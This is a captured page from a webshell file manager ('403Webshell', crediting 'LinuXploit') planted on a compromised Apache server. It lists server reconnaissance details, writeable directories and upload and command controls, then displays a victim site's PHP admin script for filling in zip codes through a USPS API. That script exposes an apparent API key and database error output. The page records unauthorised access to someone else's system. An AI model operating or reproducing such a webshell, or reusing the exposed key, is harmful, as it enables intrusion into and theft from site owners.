403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/nymp/www/mod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/nymp/www/mod/data_load_address2zip.php
<?php include('_mod_security.php'); ?>
<?php
	//var_dump($_POST);
	//var_dump($_GET);
	$err_flag = false;
	$validate_function = '';
	if ($_POST['submitted'] == 1) :
		require_once('classes/usps_api/USPSZipCodeLookup.php');

		$sql = "SELECT * FROM locations WHERE zip <= ' ' LIMIT 9999";
		$result = $db->query($sql) or die('Database Error!');
		echo 'Record Count: '.$result->rowCount().'<br />';
		while ($row = $result->fetch(PDO::FETCH_OBJ)) :
			$zipcode = new USPSZipCodeLookup('526LATCO0566');
			$address = new USPSAddress;
			$address->setFirmName('');
			$address->setApt('');
			$address->setAddress(trim($row->bldg_nbr.' '.$row->street));
			if (empty($row->city) && $row->region_id == 6) :
				$address->setCity('Queens');
			else :
				$address->setCity($row->city);
			endif;
			$address->setState($row->state);
			$zipcode->addAddress($address, $row->location_id);
			$zipcode->lookup();
			//print_r($zipcode->getArrayResponse());
			$response = $zipcode->getArrayResponse();
			//print_r($response);
			if($zipcode->isSuccess()) :
				$sql = "UPDATE locations SET zip = ".$db->quote($response['ZipCodeLookupResponse']['Address']['Zip5'])." WHERE location_id = ".$row->location_id;
				try {
					$db->query($sql);
				} catch(PDOException $ex) {
					die('Database Error! '.$ex->getMessage.' === '.$sql.' === ');
				}
				echo 'Done: ';
			else :
				echo 'Error: ' . $zipcode->getErrorMessage().' Trying to match by city/state... ';
				$sql = "SELECT * FROM zip_codes WHERE city = ".$db->quote($row->city)." AND state = ".$db->quote($row->state);
				$result_zip = $db->query($sql) or die('Database Error!');
				if ($result_zip->rowCount() == 1) :
					$row_zip = $result_zip->fetch(PDO::FETCH_OBJ);
					$sql = "UPDATE locations SET zip = ".$db->quote($row_zip->zip_code)." WHERE location_id = ".$row->location_id;
					try {
						$db->query($sql);
					} catch(PDOException $ex) {
						die('Database Error! '.$ex->getMessage.' === '.$sql.' === ');
					}
					echo 'Success: ';
				else :
					echo 'Failed - record count '.$result_zip->rowCount().' ';
				endif;
			endif;
			echo $row->bldg_nbr.' '.$row->street.' '.$row->city.' '.$row->state.' ==new zip== '.$response['ZipCodeLookupResponse']['Address']['Zip5'].'<br />';
		endwhile;
	endif;
?>

<script>
	var active_tab = '';

	$(document).ready(function()	
	{
		//switch_tab('<?php echo $active_tab; ?>');
		$("#tab_content_general").show();
	});
</script>

<h1>Zip Code Update</h1>
<?php echo form_message($form_message); ?>

<form name="frm_import" id="frm_import" method="post" action="" >
	<input name="submitted" type="hidden" value="1" />
	<input name="active_tab" id="active_tab" type="hidden" value="general" />
	<div class="cleardiv">
		&nbsp;
	</div>
	<div class="tab_content" id="tab_content_general" style="display:block; position:relative;">
		<div class="form_header">
			Fill missing Zip codes based on address
		</div>
		Click [Submit] to process the Zip code update.
	</div>
	<!-- -------------------------------------------------------------------------------------------------------------- -->
	<div class="form_strip">
		<input type="submit" value="Submit" />
		&nbsp;&nbsp;
		<input type="button" value="Cancel" onclick="window.location.href = 'index.php?IX=locations';" />
	</div>
</form>

Youez - 2016 - github.com/yon3zu
LinuXploit